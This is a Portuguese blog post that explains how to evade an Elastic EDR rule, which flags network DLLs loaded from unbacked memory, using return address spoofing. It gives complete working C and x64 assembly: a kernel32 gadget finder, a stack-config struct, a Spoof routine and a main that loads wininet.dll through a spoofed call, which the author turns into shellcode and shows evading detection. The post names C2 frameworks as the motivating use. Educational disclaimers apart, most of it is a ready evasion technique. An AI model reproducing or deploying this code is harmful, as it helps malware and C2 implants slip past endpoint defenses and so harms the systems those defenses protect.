Return Address Spoofing
Vithor | Monday, December 22, 2025 | 13 min read
Rule Elastic
No meu post O que é um EDR?, eu mostrei a seguinte rule do Elastic:
┌─────────────────────────────────────────────────────────────────────────────┐
│ ELASTIC ENDPOINT RULE │
│ Network Module Loaded from Suspicious Unbacked Memory │
└─────────────────────────────────────────────────────────────────────────────┘
name = "Network Module Loaded from Suspicious Unbacked Memory"
query = '''
sequence by process.entity_id
# EVENTO 1: Processo inicia
[process where event.action == "start" and
# Exceção: ignora processos assinados em Program Files
not (process.executable : "?:\\Program Files\\*" and
process.code_signature.trusted == true)
]
# EVENTO 2: DLL de rede carregada (TRIGGER)
[library where
# DLLs monitoradas
dll.name : ("ws2_32.dll", "wininet.dll", "winhttp.dll") and
# Call stack contém região UNBACKED
process.thread.Ext.call_stack_contains_unbacked == true and
# Padrões suspeitos de call stack
process.thread.Ext.call_stack_summary : (
"ntdll.dll|kernelbase.dll|Unbacked",
"ntdll.dll|kernelbase.dll|Unbacked|kernel32.dll|ntdll.dll"
)
]
until [process where event.action:"end"]
'''
# Ação quando detecta
[[actions]]
action = "kill_process"
WARNING: Esta regra está apresentada de forma resumida. A versão completa possui mais de 250 linhas, diversas exceções e outras seções adicionais. Condensei a regra do Elastic apenas para fins de exemplificação.
Por que monitorar DLLs legitmas?
C2 frameworks como Cobalt Strike, Sliver e Havoc precisam se comunicar com o servidor do atacante. Para isso, geralmente usam:
-
wininet.dll/winhttp.dll→ comunicação HTTP/HTTPS -
ws2_32.dll→ conexões via socket
A regra da Elastic concentra-se em verificar se essas DLLs foram carregadas a partir de memória (unbacked), pois se uma shellcode em execução na memória tentar carregar alguma DLL a stack vai apontar que quem chamou LoadLibraryA ou outro método, está em uma região de memória (unbacked), e isso vai tomar a ação: action = "kill_process" podemos ver um exemplo disso com essa imagem:
![[Pasted image 20260422175910.png]]
Se a DLL tivesse sido carregada por um módulo legitimo teriamos o seguinte resultado na stack:
![[Pasted image 20260422175926.png]]
Como Contornar isso?
Existem algumas maneiras para contornar isso, uma delas é manipular o return address para que pareça que foi chamada de uma função legítima (um gadget do tipo jmp rbx por exemplo).
WARNING: As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.
A ideia básica é preparar um bloco (trampoline/gadget) cuja execução retorne para um endereço legítimo em um módulo confiável.
Para encontrar esse gadget podemos estar utilizando o seguinte código:
PBYTE FindGadget(PBYTE pModule)
{
for (int i = 0;; i++)
if (pModule[i] == 0xFF && pModule[i + 1] == 0x23)
return pModule + i;
}
Primeiro, criamos a função FindGadget que recebe pModule, um ponteiro (PBYTE) para o endereço base do módulo desejado (neste caso, a kernel32.dll).
Dentro da função, usamos um loop for infinito para iterar byte a byte a partir do endereço base do módulo. A variável i representa o offset (deslocamento) em bytes desde o endereço base.
Em cada iteração, fazemos uma verificação com if: se o byte na posição atual (pModule[i]) for igual a 0xFF E o próximo byte (pModule[i + 1]) for igual a 0x23, encontramos o gadget.
Quando a condição é verdadeira, a função retorna pModule + i, que é o endereço exato do gadget (endereço base + offset).
Caso contrário, o loop continua, e i++ incrementa automaticamente no final de cada iteração, avançando para o próximo byte até encontrar o padrão desejado.
int main() {
PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
PBYTE pGadget = FindGadget(pKernel32);
printf("[+] Gadget encontrado em: 0x%p\n", pGadget);
getchar();
return 0;
}
Agora na função main, primeiro precisamos obter o endereço base do módulo kernel32.dll, que é onde vamos iterar para procurar o gadget.
Para isso, utilizamos a função GetModuleHandleA, passando como argumento o nome do módulo carregado na memória (“kernel32”).
Essa função retorna um HMODULE (handle do módulo), que na prática é o endereço base onde o módulo está carregado na memória.
Como queremos acessar byte a byte desse módulo, fazemos um cast (PBYTE) para converter o HMODULE em PBYTE (ponteiro para bytes), permitindo aritmética de ponteiros byte a byte.
Por fim, armazenamos esse ponteiro em uma variável chamada pKernel32 do tipo PBYTE, que agora aponta para o primeiro byte da kernel32.dll permitindo agora iterar pela memória do módulo.
Após encontrar o gadget com FindGadget, precisamos entender como invocar funções no Windows 64-bit. A arquitetura x64 usa a Microsoft x64 calling convention, que exige:
-
Os 4 primeiros argumentos devem ser passados nos registradores RCX, RDX, R8 e R9 (nesta ordem)
-
32 bytes de shadow space devem ser reservados na stack antes da chamada (espaço reservado para os 4 primeiros argumentos, mesmo que estejam em registradores)
-
Argumentos adicionais (5º em diante) são colocados na stack após o shadow space
Para gerenciar essa complexidade, criamos a estrutura _STACK_CONFIG:
typedef struct _STACK_CONFIG {
PVOID pGadget; // Endereço do gadget encontrado (0xFF 0x23)
PVOID pTarget; // Endereço da função que queremos chamar
PVOID pRbx; // Valor para o registrador RBX (usado no gadget)
PVOID pArgs; // Ponteiro para array com os argumentos
} STACK_CONFIG, *PSTACK_CONFIG;
INFO: Esta estrutura centraliza todas as informações necessárias para configurar a stack corretamente antes de executar a chamada spoofada via assembly.
Agora vamos estar criando uma função que vai estar preenchendo os valores dessa estrutura:
BOOL SetupConfig(PVOID pGadget, PSTACK_CONFIG pConfig, PVOID pTarget, UINT64 arg1, UINT64 arg2, UINT64 arg3, UINT64 arg4) {
pConfig->pTarget = pTarget; // Função alvo a ser chamada
pConfig->pGadget = pGadget; // Gadget encontrado pelo FindGadget
pConfig->pArgs = malloc(32); // Aloca 32 bytes (4 args × 8 bytes)
if (!pConfig->pArgs) return FALSE; // Verifica falha na alocação
// Preenche o array de argumentos (cada UINT64 ocupa 8 bytes)
((PUINT64)pConfig->pArgs)[0] = arg1; // Será carregado em RCX
((PUINT64)pConfig->pArgs)[1] = arg2; // Será carregado em RDX
((PUINT64)pConfig->pArgs)[2] = arg3; // Será carregado em R8
((PUINT64)pConfig->pArgs)[3] = arg4; // Será carregado em R9
return TRUE;
}
Na nossa função SetupConfig, ela recebe um total de 7 argumentos:
-
pGadget ← Endereço do gadget obtido de
FindGadget -
pConfig ← Ponteiro para a estrutura que será preenchida (STACK_CONFIG)
-
pTarget ← Endereço da função final que queremos executar ( LoadLibraryA)
-
arg1 a arg4 ← Os 4 argumentos que serão passados para a função alvo
Para preencher nossa estrutura utilizamos:
pConfig->pTarget = pTarget;
O item pTarget recebe o endereço da função que será chamada. Caso não saiba o operador -> acessa o membro pTarget da estrutura apontada por pConfig.
INFO: Não farei a explicação sobre pGadget, pois seu funcionamento segue o mesmo princípio de pTarget. Caso os conceitos anteriores não estejam totalmente claros, a compreensão das próximas etapas poderá ser comprometida.
Config->pArgs = malloc(32);
Depois com malloc alocamos memória para armazenar os valores dos 4 argumentos (4 argumentos × 8 bytes = 32 bytes)
Verificamos se a alocação foi bem-sucedida:
if (!pConfig->pArgs) return FALSE;
Se malloc retornar NULL, a função retorna FALSE.
((PUINT64)pConfig->pArgs)[0] = arg1;
((PUINT64)pConfig->pArgs)[1] = arg2;
((PUINT64)pConfig->pArgs)[2] = arg3;
((PUINT64)pConfig->pArgs)[3] = arg4;
Aqui fazemos o cast (PUINT64) para converter o ponteiro pArgs (que é PVOID) em um ponteiro para UINT64. fazemos isso não para converter os valores, mas para interpretar a memória apontada por pArgs como um array de UINT64.
INFO: Isso permite indexar a memória como um array de inteiros de 64 bits, onde cada posição: ([0], [1], [2], [3]) armazena um argumento de 8 bytes.
Mais pra frente vamos ver que o nosso assembly espera que esses valores estejam organizados em blocos de 8 bytes: • Offset 0 = arg1 • Offset 8 = arg2 • Offset 16 = arg3 • Offset 24 = arg4
Agora nosso código ASM irá ficar dessa forma:
WARNING: O código assembly a seguir é meio chatinho de entender, eu mesmo levei algumas horas pra pegar tudo. Por isso deixei o código comentado e fiz uma explicação extra depois.
.code
; Estrutura que espelha _STACK_CONFIG do C++
; Cada campo ocupa 8 bytes (QWORD) em x64
Config STRUCT
pGadget QWORD ? ; Endereço do gadget (0xFF 0x23 - jmp [rbx])
pTarget QWORD ? ; Endereço da função alvo a ser chamada
pRbx QWORD ? ; Armazena endereço de retorno para cleanup
pArgs QWORD ? ; Ponteiro para array com os 4 argumentos
Config ENDS
PUBLIC Spoof
Spoof PROC
pop rdi ; Salva endereço de retorno original (onde Spoof deve voltar)
; RCX contém o ponteiro para _STACK_CONFIG (1º argumento x64)
; Copia para R10 para liberar RCX
mov r10,rcx ; r10 contém o endereço da struct
; Config.pArgs = É o offset (deslocamento em bytes) do campo pArgs dentro da estrutura
mov r13,QWORD PTR [r10+Config.pArgs] ; r13 agora aponta pro array de argumentos
; Carrega os 4 argumentos nos registradores conforme x64 calling convention
mov rcx,QWORD PTR [r13] ; arg1 → RCX (offset +0)
mov rdx,QWORD PTR [r13+8] ; arg2 → RDX (offset +8)
mov r8,QWORD PTR [r13+16] ; arg3 → R8 (offset +16)
mov r9,QWORD PTR [r13+24] ; arg4 → R9 (offset +24)
; Cria shadow space (32 bytes obrigatórios x64)
sub rsp,32
; Carrega endereço do gadget em RAX
mov rax,QWORD PTR [r10+Config.pGadget]
; Coloca gadget no topo da stack (será o endereço de retorno falso)
push rax
; Prepara RBX para o gadget usar: jmp [rbx] pulará para 'cleanup'
lea rbx,cleanup ; Carrega endereço de 'cleanup' em RBX
mov QWORD PTR [r10+Config.pRbx],rbx ; Salva em pRbx da struct
lea rbx,[r10+Config.pRbx] ; RBX aponta para o campo pRbx
; Pula para a função alvo (com stack spoofado)
jmp QWORD PTR [r10+Config.pTarget]
cleanup:
add rsp,32 ; Remove shadow space
jmp rdi ; Retorna ao endereço original salvo em RDI
Spoof ENDP
END
Registradores principais no fluxo de execução:
RDI - Endereço de retorno original:
pop rdi ; Salva o endereço de retorno da chamada de Spoof
• Vai conter: O endereço para onde Spoof deve retornar após terminar • Usado em: jmp rdi no cleanup (retorna ao chamador original)
R10 - Ponteiro para a estrutura Config
mov r10, rcx ; Copia o 1º argumento (ponteiro para _STACK_CONFIG)
• Vai conter: Endereço base da estrutura _STACK_CONFIG • Usado para: Acessar todos os campos da struct (pArgs, pGadget, pTarget, pRbx)
R13 - Ponteiro para o array de argumentos
mov r13, QWORD PTR [r10 + Config.pArgs] ; Carrega pArgs
• Vai conter: Endereço do array alocado com malloc(32) que tem os 4 argumentos • Usado para: Carregar arg1, arg2, arg3, arg4 nos registradores de chamada
RCX, RDX, R8, R9 - Argumentos da função alvo
mov rcx, QWORD PTR [r13] ; arg1 → RCX
mov rdx, QWORD PTR [r13 + 8] ; arg2 → RDX
mov r8, QWORD PTR [r13 + 16] ; arg3 → R8
mov r9, QWORD PTR [r13 + 24] ; arg4 → R9
• Vão conter: Os 4 argumentos que serão passados para a função alvo
RAX - Endereço do gadget
mov rax, QWORD PTR [r10 + Config.pGadget] ; Carrega endereço do gadget
push rax ; Coloca na stack
RBX - Ponteiro para pRbx (usado pelo gadget)
lea rbx, cleanup ; RBX = endereço de cleanup
mov QWORD PTR [r10 + Config.pRbx], rbx ; Salva cleanup em pRbx
lea rbx, [r10 + Config.pRbx] ; RBX aponta para o campo pRbx
• Usado pelo gadget: jmp [rbx] lê [rbx] (que é cleanup) e pula para lá
INFO: Lembrando que o gadget na kernel32.dll consegue usar o valor de RBX porque registradores são globais, ou seja compartilhados por todo o código executando no mesmo thread, independente do módulo (DLL) onde está o código. Por isso, o jmp [rbx] no gadget acessa o mesmo RBX configurado.
RSP - Ponteiro da stack
sub rsp, 32 ; Reserva shadow space
add rsp, 32 ; Libera shadow space
• Vai ser manipulado: Para criar/destruir o shadow space obrigatório x64
Fluxo de Execução
Pula para a função alvo:
jmp QWORD PTR [r10 + Config.pTarget] ; Pula para LoadLibraryA
Não usa call, usa jmp -> não empilha endereço de retorno A stack no topo contém: endereço do gadget (colocado com push rax) RCX/RDX/R8/R9 já têm os argumentos preparados Shadow space (32 bytes) já está reservado
Função executa normalmente:
LoadLibraryA(RCX="wininet.dll")
Processa os argumentos dos registradores Usa o shadow space na stack conforme convenção x64 Executa a lógica (carrega a DLL) RBX permanece intocado (registrador não-volátil preservado)
Função termina com ret
ret ; Instrução final de LoadLibraryA
Lê o topo da stack → encontra o endereço do gadget (não o endereço de Spoof!) Pula para o gadget localizado na kernel32.dll Se olhar a stack agora, parece que veio da kernel32.dll, não do nosso código!
Spoofing em ação
Gadget executa dentro da kernel32.dll
; Gadget (0xFF 0x23) na kernel32.dll:
jmp QWORD PTR [rbx]
RBX aponta para Config.pRbx (endereço na nossa memória) [rbx] contém o endereço de cleanup Lê da memória o endereço de cleanup e pula para lá O gadget não usa a stack para obter o destino, só RBX
Retorna ao código Spoof (cleanup)
cleanup:
add rsp, 32 ; Remove shadow space
jmp rdi ; Pula para o endereço original salvo
• Agora está de volta ao nosso código assembly • A stack está “limpa”
Finalização
Libera shadow space
add rsp, 32
Remove os 32 bytes reservados no início Restaura RSP para o estado antes da chamada
Retorna ao chamador original
jmp rdi ; Volta para "main.cpp"
RDI contém o endereço salvo no início (pop rdi) Retorna para a linha após Spoof(&Config) no “main.cpp”
Código Main
Para conseguir spoofar a função que queremos, o nosso código main vai ficar assim:
int main() {
STACK_CONFIG Config;
UINT64 pLoadLibraryA;
HMODULE hWininet;
PBYTE pKernel32 = (PBYTE)GetModuleHandleA("kernel32");
PBYTE pGadget = FindGadget(pKernel32);
pLoadLibraryA = (UINT64)GetProcAddress((HMODULE)pKernel32, "LoadLibraryA");
const char* dllName = "wininet.dll";
if (!SetupConfig((PVOID)pGadget, &Config, (PVOID)pLoadLibraryA, (UINT64)dllName, 0, 0, 0))
return -1;
hWininet = (HMODULE)Spoof(&Config);
printf("[+] wininet.dll carregada em: 0x%llx\n", (UINT64)hWininet);
getchar();
return 0;
}
No nosso código main não tem muita novidade. Basicamente, a única coisa que vamos fazer é passar os argumentos para SetupConfig e depois chamar o nosso método Spoof.
Lembrando que você vai ter que declarar:
extern "C" PVOID Spoof(PSTACK_CONFIG pConfig);
Declaramos extern “C” para desativar o name mangling do C++ e permitir que o linker encontre a função Spoof implementada em Assembly pelo nome exato, onde Spoof recebe um ponteiro para a estrutura _STACK_CONFIG (PSTACK_CONFIG pConfig), permitindo que o Assembly acesse todos os campos da struct usando offsets a partir desse endereço base.
Resultado
Para testar nosso código final, eu vou estar transformando esse código para shellcode e estarei executando:
![[Pasted image 20260422180418.png]]
WARNING: Repare que a wininet.dll aparece carregada duas vezes. Isso acontece por causa do conversor que eu usei, que acabava carregando a DLL antes do nosso código. Então eu precisei desmapear ela para conseguir capturar a stack correta.
Por fim, com esse resultado, já conseguimos contornar a rule do Elastic, pois a stack mostra que quem chamou a função LoadLibraryA foi a kernel32.dll, que está mapeada na memória do processo. Mas, claro, ao analisar a stack completa, ainda é possível perceber que quem “chamou” a kernel32 foi o nosso próprio código, que não está mapeado, como dá para ver na imagem.
![[Pasted image 20260422180434.png]]